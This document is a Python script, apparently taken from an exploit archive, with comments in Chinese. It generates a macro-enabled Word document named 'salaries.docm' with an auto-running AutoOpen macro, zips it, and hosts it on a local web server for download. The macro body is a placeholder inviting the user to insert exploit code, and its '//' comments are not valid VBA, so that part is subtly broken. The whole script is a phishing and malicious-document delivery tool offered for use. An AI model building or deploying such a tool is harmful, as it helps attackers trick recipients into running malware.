1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96

#!/usr/bin/python

import os
import sys
import pythoncom
from win32com.client import Dispatch
import http.server
import socketserver
import socket
import threading
import zipfile

PORT = 8000
DOCM_FILENAME = "salaries.docm"
ZIP_FILENAME = "salaries.zip"
DIRECTORY = "."

def create_docm_with_macro(filename=DOCM_FILENAME):
    pythoncom.CoInitialize()
    word = Dispatch("Word.Application")
    word.Visible = False

    try:
        doc = word.Documents.Add()
        vb_project = doc.VBProject
        vb_component = vb_project.VBComponents("ThisDocument")

        macro_code = '''
Sub AutoOpen()
      //在此处放置您的漏洞利用代码
      //请所有人观看演示视频
      //向packetstorm.news和OFFSEC致以最佳问候
End Sub
'''

        vb_component.CodeModule.AddFromString(macro_code)

        doc.SaveAs(os.path.abspath(filename), FileFormat=13)
        print(f"[+] 已创建启用宏的Word文档：{filename}")

    except Exception as e:
        print(f"[!] 创建文档时出错：{e}")
    finally:
        doc.Close(False)
        word.Quit()
        pythoncom.CoUninitialize()

def zip_docm(docm_path, zip_path):
    with zipfile.ZipFile(zip_path, 'w', compression=zipfile.ZIP_DEFLATED) as zipf:
        zipf.write(docm_path, arcname=os.path.basename(docm_path))
    print(f"[+] 已创建ZIP压缩包：{zip_path}")

def get_local_ip():
    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    try:
        s.connect(("8.8.8.8", 80))
        ip = s.getsockname()[0]
    except Exception:
        ip = "127.0.0.1"
    finally:
        s.close()
    return ip

class Handler(http.server.SimpleHTTPRequestHandler):
    def __init__(self, *args, **kwargs):
        super().__init__(*args, directory=DIRECTORY, **kwargs)

def run_server():
    ip = get_local_ip()
    print(f"[+] 在 http://{ip}:{PORT} 启动HTTP服务器")
    print(f"[+] 将您的宏文档和ZIP文件放在此目录中以提供服务")
    print(f"[+] 通过以下地址访问ZIP文件：http://{ip}:{PORT}/{ZIP_FILENAME}")
    with socketserver.TCPServer(("", PORT), Handler) as httpd:
        print("[+] 服务器运行中，按Ctrl+C停止")
        httpd.serve_forever()

if __name__ == "__main__":
    if os.name != "nt":
        print("[!] 此脚本仅在安装MS Word的Windows系统上运行")
        sys.exit(1)

    print("[*] 正在创建启用宏的文档...")
    create_docm_with_macro(DOCM_FILENAME)

    print("[*] 正在创建文档的ZIP压缩包...")
    zip_docm(DOCM_FILENAME, ZIP_FILENAME)

    print("[*] 在后台线程中启动HTTP服务器...")
    server_thread = threading.Thread(target=run_server, daemon=True)
    server_thread.start()

    try:
        while True:
            pass  # 保持主线程存活
    except KeyboardInterrupt:
        print("\n[!] 用户停止了服务器")